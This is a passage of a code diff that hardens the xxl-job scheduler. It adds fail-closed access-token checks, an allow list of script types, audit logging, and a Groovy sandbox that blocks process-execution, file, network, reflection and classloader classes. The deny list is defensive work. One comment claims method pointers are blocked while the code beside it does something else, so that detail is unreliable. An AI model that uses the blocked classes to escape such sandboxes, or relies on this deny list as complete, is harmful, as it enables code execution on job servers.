+ throw new SecurityException("Importing [" + packageName + "] is not allowed");
+ }
+ }
+
+ protected void assertImportIsAllowed(final String className) {
+ if (allowedImports != null || allowedStarImports != null) {
+ if (allowedImports != null && allowedImports.contains(className)) {
+ return;
+ }
+ if (allowedStarImports != null) {
+ String packageName = getWildCardImport(className);
+ if (allowedStarImports.contains(packageName)
+ || allowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) {
+ return;
+ }
+ }
+ throw new SecurityException("Importing [" + className + "] is not allowed");
+ } else {
+ if (disallowedImports != null && disallowedImports.contains(className)) {
+ throw new SecurityException("Importing [" + className + "] is not allowed");
+ }
+ if (disallowedStarImports != null) {
+ String packageName = getWildCardImport(className);
+ if (disallowedStarImports.contains(packageName) ||
+ disallowedStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) {
+ throw new SecurityException("Importing [" + className + "] is not allowed");
+ }
+ }
+ }
+ }
+
+ private String getWildCardImport(String className) {
+ return className.substring(0, className.lastIndexOf('.') + 1) + "*";
+ }
+
+ protected void assertStaticImportIsAllowed(final String member, final String className) {
+ final String fqn = className.equals(member) ? className : className + "." + member;
+ if (allowedStaticImports != null && !allowedStaticImports.contains(fqn)) {
+ if (allowedStaticStarImports != null) {
+ // we should now check if the import is in the star imports
+ String packageName = getWildCardImport(className);
+ if (!allowedStaticStarImports.contains(className + ".*")
+ && allowedStaticStarImports.stream().filter(it -> it.endsWith(".")).noneMatch(packageName::startsWith)) {
+ throw new SecurityException("Importing [" + fqn + "] is not allowed");
+ }
+ } else {
+ throw new SecurityException("Importing [" + fqn + "] is not allowed");
+ }
+ }
+ if (disallowedStaticImports != null && disallowedStaticImports.contains(fqn)) {
+ throw new SecurityException("Importing [" + fqn + "] is not allowed");
+ }
+ // check that there's no star import blacklist
+ if (disallowedStaticStarImports != null) {
+ String packageName = getWildCardImport(className);
+ if (disallowedStaticStarImports.contains(className + ".*")
+ || disallowedStaticStarImports.stream().filter(it -> it.endsWith(".")).anyMatch(packageName::startsWith)) {
+ throw new SecurityException("Importing [" + fqn + "] is not allowed");
+ }
+ }
+ }
+
+ /**
+ * This visitor directly implements the {@link GroovyCodeVisitor} interface instead of using the {@link
+ * CodeVisitorSupport} class to make sure that future features of the language gets managed by this visitor. Thus,
+ * adding a new feature would result in a compilation error if this visitor is not updated.
+ */
+ protected class SecuringCodeVisitor implements GroovyCodeVisitor {
+
+ /**
+ * Checks that a given statement is either in the allowed list or not in the disallowed list.
+ *
+ * @param statement the statement to be checked
+ * @throws SecurityException if usage of this statement class is forbidden
+ */
+ protected void assertStatementAuthorized(final Statement statement) throws SecurityException {
+ final Class extends Statement> clazz = statement.getClass();
+ if (disallowedStatements != null && disallowedStatements.contains(clazz)) {
+ throw new SecurityException(clazz.getSimpleName() + "s are not allowed");
+ } else if (allowedStatements != null && !allowedStatements.contains(clazz)) {
+ throw new SecurityException(clazz.getSimpleName() + "s are not allowed");
+ }
+ for (StatementChecker statementChecker : statementCheckers) {
+ if (!statementChecker.isAuthorized(statement)) {
+ throw new SecurityException("Statement [" + clazz.getSimpleName() + "] is not allowed");
+ }
+ }
+ }
+
+ /**
+ * Checks that a given expression is either in the allowed list or not in the disallowed list.
+ *
+ * @param expression the expression to be checked
+ * @throws SecurityException if usage of this expression class is forbidden
+ */
+ protected void assertExpressionAuthorized(final Expression expression) throws SecurityException {
+ final Class extends Expression> clazz = expression.getClass();
+ if (disallowedExpressions != null && disallowedExpressions.contains(clazz)) {
+ throw new SecurityException(clazz.getSimpleName() + "s are not allowed: " + expression.getText());
+ } else if (allowedExpressions != null && !allowedExpressions.contains(clazz)) {
+ throw new SecurityException(clazz.getSimpleName() + "s are not allowed: " + expression.getText());
+ }
+ for (ExpressionChecker expressionChecker : expressionCheckers) {
+ if (!expressionChecker.isAuthorized(expression)) {
+ throw new SecurityException("Expression [" + clazz.getSimpleName() + "] is not allowed: " + expression.getText());
+ }
+ }
+ if (isIndirectImportCheckEnabled) {
+ try {
+ if (expression instanceof ConstructorCallExpression) {
+ assertImportIsAllowed(expression.getType().getName());
+ } else if (expression instanceof MethodCallExpression) {
+ MethodCallExpression expr = (MethodCallExpression) expression;
+ ClassNode objectExpressionType = expr.getObjectExpression().getType();
+ final String typename = getExpressionType(objectExpressionType).getName();
+ assertImportIsAllowed(typename);
+ assertStaticImportIsAllowed(expr.getMethodAsString(), typename);
+ } else if (expression instanceof StaticMethodCallExpression) {
+ StaticMethodCallExpression expr = (StaticMethodCallExpression) expression;
+ final String typename = expr.getOwnerType().getName();
+ assertImportIsAllowed(typename);
+ assertStaticImportIsAllowed(expr.getMethod(), typename);
+ } else if (expression instanceof MethodPointerExpression) {
+ MethodPointerExpression expr = (MethodPointerExpression) expression;
+ final String typename = expr.getType().getName();
+ assertImportIsAllowed(typename);
+ assertStaticImportIsAllowed(expr.getText(), typename);
+ }
+ } catch (SecurityException e) {
+ throw new SecurityException("Indirect import checks prevents usage of expression", e);
+ }
+ }
+ }
+
+ protected ClassNode getExpressionType(ClassNode objectExpressionType) {
+ return objectExpressionType.isArray() ? getExpressionType(objectExpressionType.getComponentType()) : objectExpressionType;
+ }
+
+ /**
+ * Checks that a given token is either in the allowed list or not in the disallowed list.
+ *
+ * @param token the token to be checked
+ * @throws SecurityException if usage of this token is forbidden
+ */
+ protected void assertTokenAuthorized(final Token token) throws SecurityException {
+ final int value = token.getType();
+ if (disallowedTokens != null && disallowedTokens.contains(value)) {
+ throw new SecurityException("Token " + token + " is not allowed");
+ } else if (allowedTokens != null && !allowedTokens.contains(value)) {
+ throw new SecurityException("Token " + token + " is not allowed");
+ }
+ }
+
+ @Override
+ public void visitBlockStatement(final BlockStatement block) {
+ assertStatementAuthorized(block);
+ for (Statement statement : block.getStatements()) {
+ statement.visit(this);
+ }
+ }
+
+ @Override
+ public void visitForLoop(final ForStatement forLoop) {
+ assertStatementAuthorized(forLoop);
+ forLoop.getCollectionExpression().visit(this);
+ forLoop.getLoopBlock().visit(this);
+ }
+
+ @Override
+ public void visitWhileLoop(final WhileStatement loop) {
+ assertStatementAuthorized(loop);
+ loop.getBooleanExpression().visit(this);
+ loop.getLoopBlock().visit(this);
+ }
+
+ @Override
+ public void visitDoWhileLoop(final DoWhileStatement loop) {
+ assertStatementAuthorized(loop);
+ loop.getBooleanExpression().visit(this);
+ loop.getLoopBlock().visit(this);
+ }
+
+ @Override
+ public void visitIfElse(final IfStatement ifElse) {
+ assertStatementAuthorized(ifElse);
+ ifElse.getBooleanExpression().visit(this);
+ ifElse.getIfBlock().visit(this);
+ ifElse.getElseBlock().visit(this);
+ }
+
+ @Override
+ public void visitExpressionStatement(final ExpressionStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitReturnStatement(final ReturnStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitAssertStatement(final AssertStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getBooleanExpression().visit(this);
+ statement.getMessageExpression().visit(this);
+ }
+
+ @Override
+ public void visitTryCatchFinally(final TryCatchStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getTryStatement().visit(this);
+ for (CatchStatement catchStatement : statement.getCatchStatements()) {
+ catchStatement.visit(this);
+ }
+ statement.getFinallyStatement().visit(this);
+ }
+
+ @Override
+ public void visitEmptyStatement(EmptyStatement statement) {
+ // noop
+ }
+
+ @Override
+ public void visitSwitch(final SwitchStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ for (CaseStatement caseStatement : statement.getCaseStatements()) {
+ caseStatement.visit(this);
+ }
+ statement.getDefaultStatement().visit(this);
+ }
+
+ @Override
+ public void visitCaseStatement(final CaseStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ statement.getCode().visit(this);
+ }
+
+ @Override
+ public void visitBreakStatement(final BreakStatement statement) {
+ assertStatementAuthorized(statement);
+ }
+
+ @Override
+ public void visitContinueStatement(final ContinueStatement statement) {
+ assertStatementAuthorized(statement);
+ }
+
+ @Override
+ public void visitThrowStatement(final ThrowStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitSynchronizedStatement(final SynchronizedStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getExpression().visit(this);
+ statement.getCode().visit(this);
+ }
+
+ @Override
+ public void visitCatchStatement(final CatchStatement statement) {
+ assertStatementAuthorized(statement);
+ statement.getCode().visit(this);
+ }
+
+ @Override
+ public void visitMethodCallExpression(final MethodCallExpression call) {
+ assertExpressionAuthorized(call);
+ Expression receiver = call.getObjectExpression();
+ final String typeName = receiver.getType().getName();
+ if (allowedReceivers != null && !allowedReceivers.contains(typeName)) {
+ throw new SecurityException("Method calls not allowed on [" + typeName + "]");
+ } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) {
+ throw new SecurityException("Method calls not allowed on [" + typeName + "]");
+ }
+ receiver.visit(this);
+ final Expression method = call.getMethod();
+ checkConstantTypeIfNotMethodNameOrProperty(method);
+ call.getArguments().visit(this);
+ }
+
+ @Override
+ public void visitStaticMethodCallExpression(final StaticMethodCallExpression call) {
+ assertExpressionAuthorized(call);
+ final String typeName = call.getOwnerType().getName();
+ if (allowedReceivers != null && !allowedReceivers.contains(typeName)) {
+ throw new SecurityException("Method calls not allowed on [" + typeName + "]");
+ } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) {
+ throw new SecurityException("Method calls not allowed on [" + typeName + "]");
+ }
+ call.getArguments().visit(this);
+ }
+
+ @Override
+ public void visitConstructorCallExpression(final ConstructorCallExpression call) {
+ assertExpressionAuthorized(call);
+ call.getArguments().visit(this);
+ }
+
+ @Override
+ public void visitTernaryExpression(final TernaryExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getBooleanExpression().visit(this);
+ expression.getTrueExpression().visit(this);
+ expression.getFalseExpression().visit(this);
+ }
+
+ @Override
+ public void visitShortTernaryExpression(final ElvisOperatorExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitTernaryExpression(expression);
+ }
+
+ @Override
+ public void visitBinaryExpression(final BinaryExpression expression) {
+ assertExpressionAuthorized(expression);
+ assertTokenAuthorized(expression.getOperation());
+ expression.getLeftExpression().visit(this);
+ expression.getRightExpression().visit(this);
+ }
+
+ @Override
+ public void visitPrefixExpression(final PrefixExpression expression) {
+ assertExpressionAuthorized(expression);
+ assertTokenAuthorized(expression.getOperation());
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitPostfixExpression(final PostfixExpression expression) {
+ assertExpressionAuthorized(expression);
+ assertTokenAuthorized(expression.getOperation());
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitBooleanExpression(final BooleanExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitClosureExpression(final ClosureExpression expression) {
+ assertExpressionAuthorized(expression);
+ if (!isClosuresAllowed) throw new SecurityException("Closures are not allowed");
+ expression.getCode().visit(this);
+ }
+
+ @Override
+ public void visitLambdaExpression(LambdaExpression expression) {
+ visitClosureExpression(expression);
+ }
+
+ @Override
+ public void visitTupleExpression(final TupleExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitListOfExpressions(expression.getExpressions());
+ }
+
+ @Override
+ public void visitMapExpression(final MapExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitListOfExpressions(expression.getMapEntryExpressions());
+ }
+
+ @Override
+ public void visitMapEntryExpression(final MapEntryExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getKeyExpression().visit(this);
+ expression.getValueExpression().visit(this);
+ }
+
+ @Override
+ public void visitListExpression(final ListExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitListOfExpressions(expression.getExpressions());
+ }
+
+ @Override
+ public void visitRangeExpression(final RangeExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getFrom().visit(this);
+ expression.getTo().visit(this);
+ }
+
+ @Override
+ public void visitPropertyExpression(final PropertyExpression expression) {
+ assertExpressionAuthorized(expression);
+ Expression receiver = expression.getObjectExpression();
+ final String typeName = receiver.getType().getName();
+ if (allowedReceivers != null && !allowedReceivers.contains(typeName)) {
+ throw new SecurityException("Property access not allowed on [" + typeName + "]");
+ } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) {
+ throw new SecurityException("Property access not allowed on [" + typeName + "]");
+ }
+ receiver.visit(this);
+ final Expression property = expression.getProperty();
+ checkConstantTypeIfNotMethodNameOrProperty(property);
+ }
+
+ private void checkConstantTypeIfNotMethodNameOrProperty(final Expression expr) {
+ if (expr instanceof ConstantExpression) {
+ if (!"java.lang.String".equals(expr.getType().getName())) {
+ expr.visit(this);
+ }
+ } else {
+ expr.visit(this);
+ }
+ }
+
+ @Override
+ public void visitAttributeExpression(final AttributeExpression expression) {
+ assertExpressionAuthorized(expression);
+ Expression receiver = expression.getObjectExpression();
+ final String typeName = receiver.getType().getName();
+ if (allowedReceivers != null && !allowedReceivers.contains(typeName)) {
+ throw new SecurityException("Attribute access not allowed on [" + typeName + "]");
+ } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) {
+ throw new SecurityException("Attribute access not allowed on [" + typeName + "]");
+ }
+ receiver.visit(this);
+ final Expression property = expression.getProperty();
+ checkConstantTypeIfNotMethodNameOrProperty(property);
+ }
+
+ @Override
+ public void visitFieldExpression(final FieldExpression expression) {
+ assertExpressionAuthorized(expression);
+ }
+
+ @Override
+ public void visitMethodPointerExpression(final MethodPointerExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ expression.getMethodName().visit(this);
+ }
+
+ @Override
+ public void visitMethodReferenceExpression(final MethodReferenceExpression expression) {
+ visitMethodPointerExpression(expression);
+ }
+
+ @Override
+ public void visitConstantExpression(final ConstantExpression expression) {
+ assertExpressionAuthorized(expression);
+ final String type = expression.getType().getName();
+ if (allowedConstantTypes != null && !allowedConstantTypes.contains(type)) {
+ throw new SecurityException("Constant expression type [" + type + "] is not allowed");
+ }
+ if (disallowedConstantTypes != null && disallowedConstantTypes.contains(type)) {
+ throw new SecurityException("Constant expression type [" + type + "] is not allowed");
+ }
+ }
+
+ @Override
+ public void visitClassExpression(final ClassExpression expression) {
+ assertExpressionAuthorized(expression);
+ }
+
+ @Override
+ public void visitVariableExpression(final VariableExpression expression) {
+ assertExpressionAuthorized(expression);
+ final String type = expression.getType().getName();
+ if (allowedConstantTypes != null && !allowedConstantTypes.contains(type)) {
+ throw new SecurityException("Usage of variables of type [" + type + "] is not allowed");
+ }
+ if (disallowedConstantTypes != null && disallowedConstantTypes.contains(type)) {
+ throw new SecurityException("Usage of variables of type [" + type + "] is not allowed");
+ }
+ }
+
+ @Override
+ public void visitDeclarationExpression(final DeclarationExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitBinaryExpression(expression);
+ }
+
+ @Override
+ public void visitGStringExpression(final GStringExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitListOfExpressions(expression.getStrings());
+ visitListOfExpressions(expression.getValues());
+ }
+
+ @Override
+ public void visitArrayExpression(final ArrayExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitListOfExpressions(expression.getExpressions());
+ visitListOfExpressions(expression.getSizeExpression());
+ }
+
+ @Override
+ public void visitSpreadExpression(final SpreadExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitSpreadMapExpression(final SpreadMapExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitNotExpression(final NotExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitUnaryMinusExpression(final UnaryMinusExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitUnaryPlusExpression(final UnaryPlusExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitBitwiseNegationExpression(final BitwiseNegationExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitCastExpression(final CastExpression expression) {
+ assertExpressionAuthorized(expression);
+ expression.getExpression().visit(this);
+ }
+
+ @Override
+ public void visitArgumentlistExpression(final ArgumentListExpression expression) {
+ assertExpressionAuthorized(expression);
+ visitTupleExpression(expression);
+ }
+
+ @Override
+ public void visitClosureListExpression(final ClosureListExpression closureListExpression) {
+ assertExpressionAuthorized(closureListExpression);
+ if (!isClosuresAllowed) throw new SecurityException("Closures are not allowed");
+ visitListOfExpressions(closureListExpression.getExpressions());
+ }
+
+ @Override
+ public void visitBytecodeExpression(final BytecodeExpression expression) {
+ assertExpressionAuthorized(expression);
+ }
+ }
+
+ /**
+ * This interface allows the user to provide a custom expression checker if the dis/allowed expression lists are not
+ * sufficient
+ */
+ @FunctionalInterface
+ public interface ExpressionChecker {
+ boolean isAuthorized(Expression expression);
+ }
+
+ /**
+ * This interface allows the user to provide a custom statement checker if the dis/allowed statement lists are not
+ * sufficient
+ */
+ @FunctionalInterface
+ public interface StatementChecker {
+ boolean isAuthorized(Statement expression);
+ }
+}
diff --git a/xxl-job-admin/src/main/resources/application.properties b/xxl-job-admin/src/main/resources/application.properties
index 4ea786994e..bb6594694d 100644
--- a/xxl-job-admin/src/main/resources/application.properties
+++ b/xxl-job-admin/src/main/resources/application.properties
@@ -51,8 +51,8 @@ spring.mail.properties.mail.smtp.starttls.enable=true
spring.mail.properties.mail.smtp.starttls.required=true
spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory
-### xxl-job, access token
-xxl.job.accessToken=default_token
+### xxl-job, access token (REQUIRED: set a strong, unique, random token — do NOT use default_token)
+xxl.job.accessToken=${XXL_JOB_ACCESS_TOKEN:}
### xxl-job, timeout by second, default 3s
xxl.job.timeout=3
diff --git a/xxl-job-core/pom.xml b/xxl-job-core/pom.xml
index cb1620d155..b0bd9c7d23 100644
--- a/xxl-job-core/pom.xml
+++ b/xxl-job-core/pom.xml
@@ -59,6 +59,13 @@
provided
+
+
+ org.junit.jupiter
+ junit-jupiter-engine
+ test
+
+
\ No newline at end of file
diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java b/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java
index 9d27cdd010..a229b9caf3 100644
--- a/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java
+++ b/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java
@@ -17,9 +17,7 @@
import org.slf4j.LoggerFactory;
import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
+import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.concurrent.TimeUnit;
@@ -47,6 +45,12 @@ public class XxlJobExecutor {
private String logPath;
private int logRetentionDays;
+ /**
+ * Allowed GLUE types (comma-separated). Only types in this set can be executed.
+ * Default: "BEAN,GLUE_GROOVY" (script types like Shell/Python/Node/PHP/PowerShell require explicit opt-in).
+ */
+ private static volatile Set allowedGlueTypes = new HashSet<>(Arrays.asList("BEAN", "GLUE_GROOVY"));
+
public void setAdminAddresses(String adminAddresses) {
this.adminAddresses = adminAddresses;
}
@@ -78,6 +82,28 @@ public void setLogRetentionDays(int logRetentionDays) {
this.logRetentionDays = logRetentionDays;
}
+ /**
+ * Set allowed GLUE types (comma-separated enum names).
+ * Example: "BEAN,GLUE_GROOVY" or "BEAN,GLUE_GROOVY,GLUE_SHELL,GLUE_PYTHON"
+ */
+ public void setAllowedGlueTypes(String allowedGlueTypesStr) {
+ if (allowedGlueTypesStr != null && !allowedGlueTypesStr.trim().isEmpty()) {
+ Set types = new HashSet<>();
+ for (String type : allowedGlueTypesStr.split(",")) {
+ String trimmed = type.trim();
+ if (!trimmed.isEmpty()) {
+ types.add(trimmed);
+ }
+ }
+ allowedGlueTypes = types;
+ logger.info(">>>>>>>>>>> xxl-job allowed GLUE types: {}", allowedGlueTypes);
+ }
+ }
+
+ public static Set getAllowedGlueTypes() {
+ return allowedGlueTypes;
+ }
+
// ---------------------- start + stop ----------------------
public void start() throws Exception {
@@ -201,9 +227,9 @@ private void initEmbedServer(String address, String ip, int port, String appname
address = "http://{ip_port}/".replace("{ip_port}", ip_port_address);
}
- // accessToken
+ // accessToken: fail-closed — reject all requests if not configured
if (StringTool.isBlank(accessToken)) {
- logger.warn(">>>>>>>>>>> xxl-job accessToken is empty. To ensure system security, please set the accessToken.");
+ logger.error(">>>>>>>>>>> xxl-job accessToken is empty. The executor will reject ALL requests until a valid accessToken is configured via 'xxl.job.accessToken'.");
}
// start
diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java b/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java
index da2037f42d..e2d466b56f 100644
--- a/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java
+++ b/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java
@@ -3,9 +3,15 @@
import com.xxl.job.core.glue.impl.SpringGlueFactory;
import com.xxl.job.core.handler.IJobHandler;
import groovy.lang.GroovyClassLoader;
+import org.codehaus.groovy.control.CompilerConfiguration;
+import org.codehaus.groovy.control.customizers.SecureASTCustomizer;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import java.math.BigInteger;
import java.security.MessageDigest;
+import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
@@ -15,8 +21,85 @@
* @author xuxueli 2016-1-2 20:02:27
*/
public class GlueFactory {
+ private static final Logger logger = LoggerFactory.getLogger(GlueFactory.class);
+ /**
+ * Disallowed imports — classes that must not be used in GLUE Groovy scripts.
+ * Blocks process execution, file I/O, network, reflection, and classloader abuse.
+ * NOTE: these constants MUST be defined before glueFactory to avoid static init order issues.
+ */
+ private static final List DISALLOWED_IMPORTS = Arrays.asList(
+ // Process execution
+ "java.lang.Runtime",
+ "java.lang.ProcessBuilder",
+ // File system access
+ "java.io.File",
+ "java.io.FileInputStream",
+ "java.io.FileOutputStream",
+ "java.io.FileReader",
+ "java.io.FileWriter",
+ "java.io.RandomAccessFile",
+ "java.nio.file.Files",
+ "java.nio.file.Paths",
+ "java.nio.file.Path",
+ // Network access
+ "java.net.Socket",
+ "java.net.ServerSocket",
+ "java.net.URL",
+ "java.net.URLConnection",
+ "java.net.HttpURLConnection",
+ // Reflection & classloading
+ "java.lang.reflect.Method",
+ "java.lang.reflect.Field",
+ "java.lang.reflect.Constructor",
+ "java.lang.ClassLoader",
+ "java.lang.Thread",
+ "java.lang.ThreadGroup"
+ );
+
+ /** Disallowed star imports (wildcard). */
+ private static final List DISALLOWED_STAR_IMPORTS = Arrays.asList(
+ "java.lang.reflect",
+ "java.nio.file",
+ "java.net"
+ );
+
+ /**
+ * Create a sandboxed GroovyClassLoader with SecureASTCustomizer.
+ */
+ public static GroovyClassLoader createSandboxedClassLoader() {
+ SecureASTCustomizer secure = new SecureASTCustomizer();
+
+ // Block dangerous imports
+ secure.setDisallowedImports(DISALLOWED_IMPORTS);
+ secure.setDisallowedStarImports(DISALLOWED_STAR_IMPORTS);
+ secure.setDisallowedStaticImports(DISALLOWED_IMPORTS);
+ secure.setDisallowedStaticStarImports(DISALLOWED_STAR_IMPORTS);
+ // Block dangerous receiver types — prevents calling methods on these classes
+ secure.setDisallowedReceivers(Arrays.asList(
+ "java.lang.Runtime",
+ "java.lang.ProcessBuilder",
+ "java.lang.System",
+ "java.lang.ClassLoader",
+ "java.lang.Thread",
+ "java.lang.ThreadGroup",
+ "java.io.File",
+ "java.nio.file.Files",
+ "java.nio.file.Paths"
+ ));
+
+ // Disallow method pointer expressions (e.g., Runtime.&exec)
+ secure.setMethodDefinitionAllowed(true);
+
+ CompilerConfiguration config = new CompilerConfiguration();
+ config.addCompilationCustomizers(secure);
+
+ logger.info(">>>>>>>>>>> xxl-glue, sandboxed GroovyClassLoader created with SecureASTCustomizer");
+ return new GroovyClassLoader(GlueFactory.class.getClassLoader(), config);
+ }
+
+ // Singleton — must be initialized AFTER the static constants above
private static GlueFactory glueFactory = new GlueFactory();
public static GlueFactory getInstance(){
return glueFactory;
@@ -35,11 +118,11 @@ public static void refreshInstance(int type){
}
}
-
/**
- * groovy class loader
+ * Sandboxed groovy class loader — blocks dangerous operations like Runtime.exec,
+ * ProcessBuilder, file I/O, network, and reflection.
*/
- private GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
+ private GroovyClassLoader groovyClassLoader = createSandboxedClassLoader();
private ConcurrentMap> CLASS_CACHE = new ConcurrentHashMap<>();
/**
diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java b/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java
index c5afe7db0a..5251f689b2 100644
--- a/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java
+++ b/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java
@@ -17,6 +17,7 @@
import org.slf4j.LoggerFactory;
import java.util.Date;
+import java.util.Set;
/**
* Created by xuxueli on 17/3/1.
@@ -52,8 +53,16 @@ public Response run(TriggerRequest triggerRequest) {
IJobHandler jobHandler = jobThread!=null?jobThread.getHandler():null;
String removeOldReason = null;
- // valid:jobHandler + jobThread
+ // Security: check allowed GLUE types
GlueTypeEnum glueTypeEnum = GlueTypeEnum.match(triggerRequest.getGlueType());
+ Set allowedTypes = XxlJobExecutor.getAllowedGlueTypes();
+ if (glueTypeEnum != null && allowedTypes != null && !allowedTypes.contains(glueTypeEnum.name())) {
+ logger.warn(">>>>>>>>>>> xxl-job GLUE type [{}] is not in allowed types: {}", glueTypeEnum.name(), allowedTypes);
+ return Response.of(XxlJobContext.HANDLE_CODE_FAIL,
+ "glueType[" + triggerRequest.getGlueType() + "] is not allowed. Allowed types: " + allowedTypes);
+ }
+
+ // valid:jobHandler + jobThread
if (GlueTypeEnum.BEAN == glueTypeEnum) {
// new jobhandler
diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java b/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java
index c37cd513f1..9f976203e2 100644
--- a/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java
+++ b/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java
@@ -21,6 +21,7 @@
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
+import java.net.InetSocketAddress;
import java.util.concurrent.*;
/**
@@ -152,12 +153,20 @@ protected void channelRead0(final ChannelHandlerContext ctx, FullHttpRequest msg
boolean keepAlive = HttpUtil.isKeepAlive(msg);
String accessTokenReq = msg.headers().get(Const.XXL_JOB_ACCESS_TOKEN);
+ // resolve remote address for audit logging
+ String remoteAddress = "unknown";
+ if (ctx.channel().remoteAddress() instanceof InetSocketAddress) {
+ InetSocketAddress addr = (InetSocketAddress) ctx.channel().remoteAddress();
+ remoteAddress = addr.getAddress().getHostAddress() + ":" + addr.getPort();
+ }
+ final String finalRemoteAddress = remoteAddress;
+
// invoke
bizThreadPool.execute(new Runnable() {
@Override
public void run() {
// do invoke
- Object responseObj = dispatchRequest(httpMethod, uri, requestData, accessTokenReq);
+ Object responseObj = dispatchRequest(httpMethod, uri, requestData, accessTokenReq, finalRemoteAddress);
// to json
String responseJson = GsonTool.toJson(responseObj);
@@ -168,7 +177,7 @@ public void run() {
});
}
- private Object dispatchRequest(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) {
+ private Object dispatchRequest(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq, String remoteAddress) {
// valid
if (HttpMethod.POST != httpMethod) {
return Response.ofFail("invalid request, HttpMethod not support.");
@@ -176,10 +185,12 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request
if (uri == null || uri.trim().isEmpty()) {
return Response.ofFail( "invalid request, uri-mapping empty.");
}
- if (accessToken != null
- && !accessToken.trim().isEmpty()
- && !accessToken.equals(accessTokenReq)) {
- return Response.ofFail("The access token is wrong.");
+
+ // Security: fail-closed token validation — reject when token is not configured
+ String tokenError = validateAccessToken(accessToken, accessTokenReq);
+ if (tokenError != null) {
+ logger.warn(">>>>>>>>>>> xxl-job access token validation failed: {}, remote={}, uri={}", tokenError, remoteAddress, uri);
+ return Response.ofFail(tokenError);
}
// services mapping
@@ -192,6 +203,11 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request
return executorBiz.idleBeat(idleBeatParam);
case "/run":
TriggerRequest triggerParam = GsonTool.fromJson(requestData, TriggerRequest.class);
+ // Security: audit logging for /run requests
+ logger.info(">>>>>>>>>>> xxl-job /run request received: jobId={}, glueType={}, remote={}",
+ triggerParam != null ? triggerParam.getJobId() : "null",
+ triggerParam != null ? triggerParam.getGlueType() : "null",
+ remoteAddress);
return executorBiz.run(triggerParam);
case "/kill":
KillRequest killParam = GsonTool.fromJson(requestData, KillRequest.class);
@@ -208,6 +224,22 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request
}
}
+ /**
+ * Validate access token with fail-closed logic.
+ * Returns error message if validation fails, null if passed.
+ */
+ public static String validateAccessToken(String serverToken, String requestToken) {
+ // Fail-closed: reject if server token is not configured
+ if (serverToken == null || serverToken.trim().isEmpty()) {
